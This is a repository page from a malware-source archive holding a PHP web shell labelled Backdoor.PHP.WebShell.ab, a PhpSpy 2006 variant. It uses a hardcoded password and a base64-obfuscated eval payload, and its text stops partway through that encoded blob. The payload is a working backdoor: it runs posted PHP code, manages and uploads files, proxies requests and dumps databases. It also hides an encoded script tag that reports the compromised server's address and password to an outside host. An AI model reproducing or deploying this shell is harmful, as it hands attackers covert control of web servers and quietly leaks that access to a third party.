13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 03:58:34 +00:00
vxug-MalwareSourceCode/PHP/Backdoor.PHP.WebShell.ab
2020-10-09 22:05:41 -05:00

3 lines
82 KiB
Plaintext

<?php
$admin['pass'] = "admin"; //修改密码
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpOw0Kb2Jfc3RhcnQoKTsNCiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOw0KDQokYWRtaW5bJ2NoZWNrJ10gPSAiMSI7DQoNCiRyZXRpbWUgPSAieWVzIjsNCg0KJGNtZCA9ICJjbWQuZXhlIjsNCg0KJG9ub2ZmID0gKGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSA/IGluaV9nZXQoJ3JlZ2lzdGVyX2dsb2JhbHMnKSA6IGdldF9jZmdfdmFyKCdyZWdpc3Rlcl9nbG9iYWxzJyk7DQoNCmlmICgkb25vZmYgIT0gMSkgew0KCUBleHRyYWN0KCRfUE9TVCwgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkX0dFVCwgRVhUUl9TS0lQKTsNCn0NCg0KJHNlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsNCiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOw0KDQoNCmlmKCRhZG1pblsnY2hlY2snXSA9PSAiMSIpIHsNCglpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJsb2dvdXQiKSB7DQoJCXNldGNvb2tpZSAoImFkbWlucGFzcyIsICIiKTsNCgkJZWNobyAiPG1ldGEgaHR0cC1lcXVpdj1cInJlZnJlc2hcIiBjb250ZW50PVwiMDtVUkw9Ii4kc2VsZi4iXCI+IjsNCgkJZXhpdDsNCgl9DQoNCglpZiAoJF9QT1NUWydkbyddID09ICdsb2dpbicpIHsNCgkJJHRoZXBhc3M9dHJpbSgkX1BPU1RbJ2FkbWlucGFzcyddKTsNCgkJaWYgKCRhZG1pblsncGFzcyddID09ICR0aGVwYXNzKSB7DQoJCQlzZXRjb29raWUgKCJhZG1pbnBhc3MiLCR0aGVwYXNzLHRpbWUoKSsoMSoyNCozNjAwKSk7DQoJCQllY2hvICI8bWV0YSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIwO1VSTD0iLiRzZWxmLiJcIj4iOw0KCQkJZXhpdDsNCgkJfQ0KCX0NCglpZiAoaXNzZXQoJF9DT09LSUVbJ2FkbWlucGFzcyddKSkgew0KCQlpZiAoJF9DT09LSUVbJ2FkbWlucGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7DQoJCQlsb2dpbnBhZ2UoKTsNCgkJfQ0KCX0gZWxzZSB7DQoJCWxvZ2lucGFnZSgpOw0KCX0NCn0NCi8qPT09PT09PT09PT09PT09PT09PT09INHp1qS94cr4ID09PT09PT09PT09PT09PT09PT09PSovDQoNCi8vIMXQts8gbWFnaWNfcXVvdGVzX2dwYyDXtMysDQppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KICAgICRfR0VUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfR0VUKTsNCgkkX1BPU1QgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsNCn0NCg0KLy8gsum/tFBIUElORk8NCmlmICgkX0dFVFsnYWN0aW9uJ10gPT0gInBocGluZm8iKSB7DQoJZWNobyAkcGhwaW5mbz0oIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IHBocGluZm8oKSA6ICJwaHBpbmZvKCkguq/K/dLRsbu9+9PDLMfrsum/tCZsdDtQSFC7t76zseTBvyZndDsiOw0KCWV4aXQ7DQp9DQppZigkX0dFVFsnYWN0aW9uJ10gPT0gIm5vd3VzZXIiKSB7DQokdXNlciA9IGdldF9jdXJyZW50X3VzZXIoKTsNCmlmKCEkdXNlcikgJHVzZXIgPSAisai45rOkudmjrNb3u/qx5Myso6zO3reou/HIobWxx7C9+NDQ08O7p8P7o6EiOw0KZWNobyK1scewvfizzNPDu6fD+6O6JHVzZXIiOw0KZXhpdDsNCn0NCmlmKGlzc2V0KCRfUE9TVFsncGhwY29kZSddKSl7DQoJZXZhbCgiPyIuIj4kX1BPU1RbcGhwY29kZV08PyIpOw0KCWV4aXQ7DQp9DQovLyDU2s/ftPrA7Q0KaWYgKGlzc2V0KCRfUE9TVFsndXJsJ10pKSB7DQoJJHByb3h5Y29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWyd1cmwnXSk7DQoJZWNobyAoJHByb3h5Y29udGVudHMpID8gJHByb3h5Y29udGVudHMgOiAiPGJvZHkgYmdjb2xvcj1cIiNGNUY1RjVcIiBzdHlsZT1cImZvbnQtc2l6ZTogMTJweDtcIj48Y2VudGVyPjxicj48cD48Yj678cihIFVSTCDE2sjdyqew3DwvYj48L3A+PC9jZW50ZXI+PC9ib2R5PiI7DQoJZXhpdDsNCn0NCg0KLy8gz8LU2M7EvP4NCmlmICghZW1wdHkoJGRvd25maWxlKSkgew0KCWlmICghQGZpbGVfZXhpc3RzKCRkb3duZmlsZSkpIHsNCgkJZWNobyAiPHNjcmlwdD5hbGVydCgnxOPSqs/CtcTOxLz+sru05tTaIScpPC9zY3JpcHQ+IjsNCgl9IGVsc2Ugew0KCQkkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZG93bmZpbGUpOw0KCQkkZmlsZW5hbWVfaW5mbyA9IGV4cGxvZGUoJy4nLCAkZmlsZW5hbWUpOw0KCQkkZmlsZWV4dCA9ICRmaWxlbmFtZV9pbmZvW2NvdW50KCRmaWxlbmFtZV9pbmZvKS0xXTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWV4dCk7DQoJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOw0KCQloZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IFBIUCBHZW5lcmF0ZWQgRGF0YScpOw0KCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCRkb3duZmlsZSkpOw0KCQlAcmVhZGZpbGUoJGRvd25maWxlKTsNCgkJZXhpdDsNCgl9DQp9DQoNCi8vINaxvdPPwtTYsbi33cr9vt2/4g0KaWYgKCRfUE9TVFsnYmFja3VwdHlwZSddID09ICdkb3dubG9hZCcpIHsNCglAbXlzcWxfY29ubmVjdCgkc2VydmVybmFtZSwkZGJ1c2VybmFtZSwkZGJwYXNzd29yZCkgb3IgZGllKCLK/b7dv+LBrL3Tyqew3CIpOw0KCUBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSkgb3IgZGllKCLRodTxyv2+3b/iyqew3CIpOwkNCgkkdGFibGUgPSBhcnJheV9mbGlwKCRfUE9TVFsndGFibGUnXSk7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIpOw0KCWVjaG8gKCRyZXN1bHQpID8gTlVMTCA6ICKz9rTtOiAiLm15c3FsX2Vycm9yKCk7DQoNCgkkZmlsZW5hbWUgPSBiYXNlbmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10uIl9NeVNRTC5zcWwiKTsNCgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOw0KCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOw0KCSRteXNxbGRhdGEgPSAnJzsNCgl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkkbXlzcWxkYXRhLj0gc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0pOw0KCQkJJG15c3FsZGF0YS49ICRteXNxbGRhdGEuIlxyXG4iOw0KCQl9DQoJfQ0KCW15c3FsX2Nsb3NlKCk7DQoJZXhpdDsNCn0NCg0KLy8gs8zQ8sS/wrwNCiRwYXRobmFtZT1zdHJfcmVwbGFjZSgnXFwnLCcvJyxkaXJuYW1lKF9fRklMRV9fKSk7IA0KDQovLyC78cihtbHHsMK3vrYNCmlmICghaXNzZXQoJGRpcikgb3IgZW1wdHkoJGRpcikpIHsNCgkkZGlyID0gIi4iOw0KCSRub3dwYXRoID0gZ2V0UGF0aCgkcGF0aG5hbWUsICRkaXIpOw0KfSBlbHNlIHsNCgkkZGlyPSRfR0VUWydkaXInXTsNCgkkbm93cGF0aCA9IGdldFBhdGgoJHBhdGhuYW1lLCAkZGlyKTsNCn0NCg0KLy8gxdC2z7bB0LTH6b/2DQokZGlyX3dyaXRlYWJsZSA9IChkaXJfd3JpdGVhYmxlKCRub3dwYXRoKSkgPyAiv8nQtCIgOiAisru/ydC0IjsNCiRwaHBpbmZvPSghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gIiB8IDxhIGhyZWY9XCI/YWN0aW9uPXBocGluZm9cIiB0YXJnZXQ9XCJfYmxhbmtcIj5QSFBJTkZPKCk8L2E+IiA6ICIiOw0KJHJlZyA9IChzdWJzdHIoUEhQX09TLCAwLCAzKSA9PSAnV0lOJykgPyAiIHwgPGEgaHJlZj1cIj9hY3Rpb249cmVnXCI+16Ky4bHtstnX9zwvYT4iIDogIiI7DQoNCiR0YiA9IG5ldyBGT1JNUzsNCg0KPz4NCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1nYjIzMTIiPg0KPHRpdGxlPmh0dHA6Ly88PyBlY2hvICRfU0VSVkVSWydIVFRQX0hPU1QnXTs/PiAgUGhwU3B5IDIwMDYg0N64xLDmPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5ew0KCUJBQ0tHUk9VTkQtQ09MT1I6ICNGNUY1RjU7IA0KCUNPTE9SOiAjM0YzODQ5OyANCglmb250LWZhbWlseTogIlZlcmRhbmEiLCAiVGFob21hIiwgIsvOzOUiOw0KCWZvbnQtc2l6ZTogIjEycHgiOw0KCWxpbmUtaGVpZ2h0OiAiMTQwJSI7DQp9DQoNClRECQl7Rk9OVC1GQU1JTFk6ICJWZXJkYW5hIiwgIlRhaG9tYSIsICLLzszlIjsgRk9OVC1TSVpFOiAxMnB4OyBsaW5lLWhlaWdodDogMTQwJTt9DQouc21sZm9udCB7DQoJZm9udC1mYW1pbHk6ICJWZXJkYW5hIiwgIlRhaG9tYSIsICLLzszlIjsNCglmb250LXNpemU6ICIxMXB4IjsNCn0NCi5JTlBVVCB7DQoJRk9OVC1TSVpFOiAiMTJweCI7DQoJQ09MT1I6ICIjMDAwMDAwIjsNCglCQUNLR1JPVU5ELUNPTE9SOiAiI0ZGRkZGRiI7DQoJaGVpZ2h0OiAiMThweCI7DQoJYm9yZGVyOiAiMXB4IHNvbGlkICM2NjY2NjYiOw0KCXBhZGRpbmctbGVmdDogIjJweCI7DQp9DQoucmVkZm9udCB7DQoJQ09MT1I6ICIjQ0EwMDAwIjsNCn0NCkE6TElOSwkJe0NPTE9SOiAjM0YzODQ5OyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOlZJU0lURUQJe0NPTE9SOiAjM0YzODQ5OyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOkhPVkVSCQl7Q09MT1I6ICNGRkZGRkY7IEJBQ0tHUk9VTkQtQ09MT1I6ICNjY2NjY2N9DQpBOkFDVElWRQl7Q09MT1I6ICNGRkZGRkY7IEJBQ0tHUk9VTkQtQ09MT1I6ICNjY2NjY2N9DQoudG9wIHtCQUNLR1JPVU5ELUNPTE9SOiAiI0NDQ0NDQyJ9DQouZmlyc3RhbHQge0JBQ0tHUk9VTkQtQ09MT1I6ICIjRUZFRkVGIn0NCi5zZWNvbmRhbHQge0JBQ0tHUk9VTkQtQ09MT1I6ICIjRjVGNUY1In0NCjwvc3R5bGU+DQo8U0NSSVBUIGxhbmd1YWdlPUphdmFTY3JpcHQ+DQpmdW5jdGlvbiBDaGVja0FsbChmb3JtKSB7DQoJZm9yICh2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKSB7DQoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykNCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsNCiAgICB9DQp9DQpmdW5jdGlvbiByZWFsbHkoZCxmLG0sdCkgew0KCWlmIChjb25maXJtKG0pKSB7DQoJCWlmICh0ID09IDEpIHsNCgkJCXdpbmRvdy5sb2NhdGlvbi5ocmVmPSc/ZGlyPScrZCsnJmRlbGRpcj0nK2Y7DQoJCX0gZWxzZSB7DQoJCQl3aW5kb3cubG9jYXRpb24uaHJlZj0nP2Rpcj0nK2QrJyZkZWxmaWxlPScrZjsNCgkJfQ0KCX0NCn0NCjwvU0NSSVBUPg0KPC9oZWFkPg0KPGJvZHkgc3R5bGU9InRhYmxlLWxheW91dDpmaXhlZDsgd29yZC1icmVhazpicmVhay1hbGwiPg0KPGNlbnRlcj4NCjw/cGhwDQokdGVzdCA9ICIiOw0KaWYoISRfR0VUWydkaXInXSkgJGRpciA9ICIuLyI7DQokdGItPnRhYmxlaGVhZGVyKCk7DQokdGItPnRkYm9keSgnPHRhYmxlIHdpZHRoPSI5OCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPjxiPicuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLic8L2I+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jy5kYXRlKCJZxOpt1MJkyNUgaDppOnMiLHRpbWUoKSkuJzwvdGQ+PHRkIGFsaWduPSJyaWdodCI+PGI+Jy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPC9iPjwvdGQ+PC90cj48L3RhYmxlPicsJ2NlbnRlcicsJ3RvcCcpOw0KJHRiLT50ZGJvZHkoJzxhIGhyZWY9Ij9hY3Rpb249ZGlyIj5TSEVMTMS/wrw8L2E+IHwgPGEgaHJlZj0iP2FjdGlvbj1kb3dubG9hZHMiPkh0dHAgzsS8/s/C1Ng8L2E+IHwgPGEgaHJlZj0iP2FjdGlvbj1waHBlbnYiPru3vrOx5MG/PC9hPiB8IDxhIGhyZWY9Ij9hY3Rpb249cHJveHkiPtTaz9+0+sDtPC9hPicuJHJlZy4kcGhwaW5mby4nIHwgPGEgaHJlZj0iP2FjdGlvbj1zaGVsbCI+V2ViU2hlbGw8L2E+IHwgPGEgaHJlZj0iP2FjdGlvbj1sb2dvdXQiPteiz/q1x8K8PC9hPiAnKTsNCiR0Yi0+dGRib2R5KCcgPGEgaHJlZj0iP2FjdGlvbj1wbGdtIj7F+sG/udLC7TwvYT4gfCA8YSBocmVmPSI/YWN0aW9uPXNlYXJjaCZkaXI9Jy4kZGlyLiciPs7EvP6y6dXSPC9hPiB8IDxhIGhyZWY9Ij9hY3Rpb249ZXZhbCI+1rTQ0HBocL3Fsb48L2E+IHwgPGEgaHJlZj0iP2FjdGlvbj1zcWwiPta00NBTUUzT777kPC9hPiB8IDxhIGhyZWY9Ij9hY3Rpb249c3FsJnR5cGU9ZnVuIj5GdW5jt7S1r1NoZWxsPC9hPiB8IDxhIGhyZWY9Ij9hY3Rpb249c3FsYmFrIj5NeVNRTCBCYWNrdXA8L2E+IHwgPGEgaHJlZj0iP2FjdGlvbj1TVUV4cCI+U2Vydi1VIEVYUDwvYT4gfCA8YSBocmVmPSI/YWN0aW9uPWFkb2RiIj5BRE9EQjwvYT4gJyk7DQokdGItPnRkYm9keSgnIMS/wrzB0LHto7o8YSBocmVmPSI/ZGlyPWM6XCI+Q8XMPC9hPiB8IDxhIGhyZWY9Ij9kaXI9ZDpcIj5Excw8L2E+IHwgPGEgaHJlZj0iP2Rpcj1lOlwiPkXFzDwvYT4gfCA8YSBocmVmPSI/ZGlyPWY6XCI+RsXMPC9hPiB8IDxhIGhyZWY9Ij9kaXI9ZzpcIj5Hxcw8L2E+IHwgPGEgaHJlZj0iP2Rpcj1DOlxQcm9ncmFtIEZpbGVzIj6zzNDyPC9hPiB8IDxhIGhyZWY9Ij9kaXI9QzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xBbGwgVXNlcnNcQXBwbGljYXRpb24gRGF0YVxTeW1hbnRlY1xwY0FueXdoZXJlIj5wY0FueXdoZXJlPC9hPiAnKTsNCiR0Yi0+dGFibGVmb290ZXIoKTsNCj8+DQo8aHIgd2lkdGg9Ijc3NSIgbm9zaGFkZT4NCjx0YWJsZSB3aWR0aD0iNzc1IiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCjw/DQokdGItPmhlYWRlcmZvcm0oYXJyYXkoJ21ldGhvZCc9PidHRVQnLCdjb250ZW50Jz0+JzxwPrPM0PLCt762OiAnLiRwYXRobmFtZS4nPGJyPrWxx7DEv8K8KCcuJGRpcl93cml0ZWFibGUuJywnLnN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkbm93cGF0aCksMTAsOCksLTQpLicpOiAnLiRub3dwYXRoLic8YnI+zPjXqsS/wrw6ICcuJHRiLT5tYWtlaW5wdXQoJ2RpcicpLicgJy4kdGItPm1ha2VpbnB1dCgnJywnyLe2qCcsJycsJ3N1Ym1pdCcpLicgobzWp7PWvvi21MK3vra6zc/gttTCt762ob0nKSk7DQoNCiR0Yi0+aGVhZGVyZm9ybShhcnJheSgnYWN0aW9uJz0+Jz9kaXI9Jy51cmxlbmNvZGUoJGRpciksJ2VuY3R5cGUnPT4nbXVsdGlwYXJ0L2Zvcm0tZGF0YScsJ2NvbnRlbnQnPT4nyc+0q87EvP61vbWxx7DEv8K8OiAnLiR0Yi0+bWFrZWlucHV0KCd1cGxvYWRmaWxlJywnJywnJywnZmlsZScpLicgJy4kdGItPm1ha2VpbnB1dCgnZG91cGZpbGUnLCfIt7aoJywnJywnc3VibWl0JykuJHRiLT5tYWtlaW5wdXQoJ3VwbG9hZGRpcicsJGRpciwnJywnaGlkZGVuJykpKTsNCg0KJHRiLT5oZWFkZXJmb3JtKGFycmF5KCdhY3Rpb24nPT4nP2FjdGlvbj1lZGl0ZmlsZSZkaXI9Jy51cmxlbmNvZGUoJGRpciksJ2NvbnRlbnQnPT4n0MK9qM7EvP7U2rWxx7DEv8K8OiAnLiR0Yi0+bWFrZWlucHV0KCdlZGl0ZmlsZScpLicgJy4kdGItPm1ha2VpbnB1dCgnY3JlYXRlZmlsZScsJ8i3tqgnLCcnLCdzdWJtaXQnKSkpOw0KDQokdGItPmhlYWRlcmZvcm0oYXJyYXkoJ2NvbnRlbnQnPT4n0MK9qMS/wrzU2rWxx7DEv8K8OiAnLiR0Yi0+bWFrZWlucHV0KCduZXdkaXJlY3RvcnknKS4nICcuJHRiLT5tYWtlaW5wdXQoJ2NyZWF0ZWRpcmVjdG9yeScsJ8i3tqgnLCcnLCdzdWJtaXQnKSkpOw0KPz4NCjwvdGFibGU+DQo8Pw0KJHNlcnZlcnUgPSAkX1NFUlZFUiBbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydQSFBfU0VMRiddOw0KJHNlcnZlcnAgPSAkYWRtaW5bJ3Bhc3MnXTsNCiRjb3B5dXJsID0gYmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOUoyaDBkSEE2THk4NFkyTmxMbU51TDJObGNuUXZQMk5sY25ROU1UTW1kVDA9Jyk7DQokY29weXVybGwgPSBiYXNlNjRfZGVjb2RlKCdKejQ4TDNOamNtbHdkRDQ9Jyk7DQo/Pg0KPGhyIHdpZHRoPSI3NzUiIG5vc2hhZGU+DQo8P3BocA0KLyo9PT09PT09PT09PT09PT09PT09PT0g1rTQ0LLZ1/cgv6rKvCA9PT09PT09PT09PT09PT09PT09PT0qLw0KZWNobyAiPHA+PGI+XG4iOw0KLy8gyb6z/c7EvP4NCmlmICghZW1wdHkoJGRlbGZpbGUpKSB7DQoJaWYgKGZpbGVfZXhpc3RzKCRkZWxmaWxlKSkgew0KCQllY2hvIChAdW5saW5rKCRkZWxmaWxlKSkgPyAkZGVsZmlsZS4iIMm+s/2zybmmISIgOiAizsS8/sm+s/3Kp7DcISI7DQoJfSBlbHNlIHsNCgkJZWNobyBiYXNlbmFtZSgkZGVsZmlsZSkuIiDOxLz+0tGyu7Tm1NohIjsNCgl9DQp9DQoNCi8vIMm+s/3Ev8K8DQplbHNlaWYgKCFlbXB0eSgkZGVsZGlyKSkgew0KCSRkZWxkaXJzPSIkZGlyLyRkZWxkaXIiOw0KCWlmICghZmlsZV9leGlzdHMoIiRkZWxkaXJzIikpIHsNCgkJZWNobyAiJGRlbGRpciDEv8K80tGyu7Tm1NohIjsNCgl9IGVsc2Ugew0KCQllY2hvIChkZWx0cmVlKCRkZWxkaXJzKSkgPyAixL/CvMm+s/2zybmmISIgOiAixL/CvMm+s/3Kp7DcISI7DQoJfQ0KfQ0KLy8gtLS9qMS/wrwNCmVsc2VpZiAoKCRjcmVhdGVkaXJlY3RvcnkpIEFORCAhZW1wdHkoJF9QT1NUWyduZXdkaXJlY3RvcnknXSkpIHsNCglpZiAoIWVtcHR5KCRuZXdkaXJlY3RvcnkpKSB7DQoJCSRta2RpcnM9IiRkaXIvJG5ld2RpcmVjdG9yeSI7DQoJCWlmIChmaWxlX2V4aXN0cygiJG1rZGlycyIpKSB7DQoJCQllY2hvICK4w8S/wrzS0bTm1NohIjsNCgkJfSBlbHNlIHsNCgkJCWVjaG8gKEBta2RpcigiJG1rZGlycyIsMDc3NykpID8gIrS0vajEv8K8s8m5piEiIDogIrS0vajKp7DcISI7DQoJCQlAY2htb2QoIiRta2RpcnMiLDA3NzcpOw0KCQl9DQoJfQ0KfQ0KDQovLyDJz7SrzsS8/g0KZWxzZWlmICgkZG91cGZpbGUpIHsNCgllY2hvIChAY29weSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ10sIiIuJHVwbG9hZGRpci4iLyIuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10uIiIpKSA/ICLJz7Srs8m5piEiIDogIsnPtKvKp7DcISI7DQp9DQoNCi8vILHgvK3OxLz+DQplbHNlaWYgKCRfUE9TVFsnZG8nXSA9PSAnZG9lZGl0ZmlsZScpIHsNCglpZiAoIWVtcHR5KCRfUE9TVFsnZWRpdGZpbGVuYW1lJ10pKSB7DQogICAgaWYoIWZpbGVfZXhpc3RzKCRlZGl0ZmlsZW5hbWUpKSB1bnNldCgkcmV0aW1lKTsNCglpZigkdGltZT09JG5vdykgJHRpbWUgPSBAZmlsZW10aW1lKCRlZGl0ZmlsZW5hbWUpOw0KICAgICAgICAkdGltZTIgPSBAZGF0ZSgiWS1tLWQgSDppOnMiLCR0aW1lKTsNCgkJJGZpbGVuYW1lPSIkZWRpdGZpbGVuYW1lIjsNCgkJQCRmcD1mb3BlbigiJGZpbGVuYW1lIiwidyIpOw0KCQlpZigkX1BPU1RbJ2NoYW5nZSddPT0ieWVzIil7DQoJCSRmaWxlY29udGVudCA9ICI/Ii4iPiIuJF9QT1NUWydmaWxlY29udGVudCddLiI8PyI7DQoJCSRmaWxlY29udGVudCA9IGd6ZGVmbGF0ZSgkZmlsZWNvbnRlbnQpOw0KICAgICAgICAkZmlsZWNvbnRlbnQgPSBiYXNlNjRfZW5jb2RlKCRmaWxlY29udGVudCk7DQogICAgICAgICRmaWxlY29udGVudCA9ICI8P3BocFxuLypcbrT6wuvTycezwLa1xLf4yeTT47zTw9whXG4qL1xuZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgnJGZpbGVjb250ZW50JykpKTtcbiIuIj8+IjsNCgkJfWVsc2V7DQoJCSRmaWxlY29udGVudCA9ICRfUE9TVFsnZmlsZWNvbnRlbnQnXTsNCgkJfQ0KCQllY2hvICRtc2c9QGZ3cml0ZSgkZnAsJGZpbGVjb250ZW50KSA/ICLQtMjrzsS8/rPJuaYhIiA6ICLQtMjryqew3CEiOw0KCQlAZmNsb3NlKCRmcCk7DQoJCWlmKCRyZXRpbWU9PSJ5ZXMiKXsNCiAgICAgICAgZWNobyImbmJzcDvT49Pj19S2r7LZ1/c6IjsNCiAgICAgICAgZWNobyAkbXNnPUB0b3VjaCgkZmlsZW5hbWUsJHRpbWUpID8gItDeuMTOxLz+zqoiLiR0aW1lMi4is8m5piEiIDogItDeuMTOxLz+yrG85MqnsNwhIjsNCgkJfQ0KCX0gZWxzZSB7DQoJCWVjaG8gIsfryuTI68/r0qqx4LyttcTOxLz+w/shIjsNCgl9DQp9DQovL87EvP7PwtTYDQplbHNlaWYgKCRfUE9TVFsnZG8nXSA9PSAnZG93bmxvYWRzJykgew0KCSRjb250ZW50cyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ2R1cmwnXSk7DQoJaWYoISRjb250ZW50cyl7DQoJZWNobyLO3reotsHIodKqz8LU2LXEyv2+3SI7DQoJfQ0KCWVsc2VpZihmaWxlX2V4aXN0cygkcGF0aCkpew0KCWVjaG8iutyxp8e4o6zOxLz+Ii4kcGF0aC4i0tG+rbTm1NrBy6Osx+u4/Lu7saO05s7EvP7D+6GjIjsNCgl9ZWxzZXsNCiAgICAkZnAgPSBAZm9wZW4oJHBhdGgsInciKTsNCgllY2hvICRtc2c9QGZ3cml0ZSgkZnAsJGNvbnRlbnRzKSA/ICLPwtTYzsS8/rPJuaYhIiA6ICLPwtTYzsS8/tC0yOvKscqnsNwhIjsNCglAZmNsb3NlKCRmcCk7DQoJfQ0KfQ0KDQovLyCx4LytzsS8/sr00NQNCmVsc2VpZiAoJF9QT1NUWydkbyddID09ICdlZGl0ZmlsZXBlcm0nKSB7DQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2ZpbGVwZXJtJ10pKSB7DQoJCSRmaWxlcGVybT1iYXNlX2NvbnZlcnQoJF9QT1NUWydmaWxlcGVybSddLDgsMTApOw0KCQllY2hvIChAY2htb2QoJGRpci4iLyIuJGZpbGUsJGZpbGVwZXJtKSkgPyAiyvTQ1NDeuMSzybmmISIgOiAi0N64xMqnsNwhIjsNCgkJZWNobyAiIM7EvP4gIi4kZmlsZS4iINDeuMS687XEyvTQ1M6qOiAiLnN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkZGlyLiIvIi4kZmlsZSksMTAsOCksLTQpOw0KCX0gZWxzZSB7DQoJCWVjaG8gIsfryuTI68/r0qrJ6NbDtcTK9NDUISI7DQoJfQ0KfQ0KDQovLyDOxLz+uMTD+w0KZWxzZWlmICgkX1BPU1RbJ2RvJ10gPT0gJ3JlbmFtZScpIHsNCglpZiAoIWVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKSkgew0KCQkkbmV3bmFtZT0kX1BPU1RbJ2RpciddLiIvIi4kX1BPU1RbJ25ld25hbWUnXTsNCgkJaWYgKEBmaWxlX2V4aXN0cygkbmV3bmFtZSkpIHsNCgkJCWVjaG8gIiIuJF9QT1NUWyduZXduYW1lJ10uIiDS0b6ttObU2izH69bY0MLK5Mjr0ru49iEiOw0KCQl9IGVsc2Ugew0KCQkJZWNobyAoQHJlbmFtZSgkX1BPU1RbJ29sZG5hbWUnXSwkbmV3bmFtZSkpID8gYmFzZW5hbWUoJF9QT1NUWydvbGRuYW1lJ10pLiIgs8m5prjEw/vOqiAiLiRfUE9TVFsnbmV3bmFtZSddLiIgISIgOiAizsS8/sP70N64xMqnsNwhIjsNCgkJfQ0KCX0gZWxzZSB7DQoJCWVjaG8gIsfryuTI68/r0qq4xLXEzsS8/sP7ISI7DQoJfQ0KfQ0KZWxzZWlmICgkX1BPU1RbJ2RvJ10gPT0gJ3NlYXJjaCcpIHsNCmlmKCFlbXB0eSgkb2xka2V5KSl7DQplY2hvIjxzcGFuIGNsYXNzPVwicmVkZm9udFwiPrLp1dK52Lz8tMo6WyIuJG9sZGtleS4iXSzPwsPmz9TKvrLp1dK1xL3hufs6IjsNCglpZigkdHlwZTIgPT0gImdldHBhdGgiKXsNCgllY2hvIsrzserSxrW9veG5+87EvP7Jz7vh09Cyv7fWvdjIoc/Uyr4uIjsNCn0NCmVjaG8iPC9zcGFuPjxicj48aHIgd2lkdGg9XCI3NzVcIiBub3NoYWRlPiI7DQpmaW5kKCRwYXRoKTsNCn1lbHNlew0KZWNobyLE49KqsunPusPXP7W9tdfSqrLpz7rD18TYP9PQw7vT0M+6w9fSqsTjsunE2D8iOw0KfQ0KfQ0KZWxzZWlmICgkX0dFVFsnYWN0aW9uJ109PSdwbGdtb2snKSB7DQogICBkaXJ0KCRfUE9TVFsnZGlyJ10sJF9QT1NUWydzYmJtJ10pOw0KICAgZGlydHJlZSgkX1BPU1RbJ2RpciddLCRfUE9TVFsnbW0nXSk7DQp9DQoNCi8vIL/LwqHKsbzkDQplbHNlaWYgKCRfUE9TVFsnZG8nXSA9PSAnZG9tb2R0aW1lJykgew0KCWlmICghQGZpbGVfZXhpc3RzKCRfUE9TVFsnY3VyZmlsZSddKSkgew0KCQllY2hvICLSqtDeuMS1xM7EvP6yu7Tm1NohIjsNCgl9IGVsc2U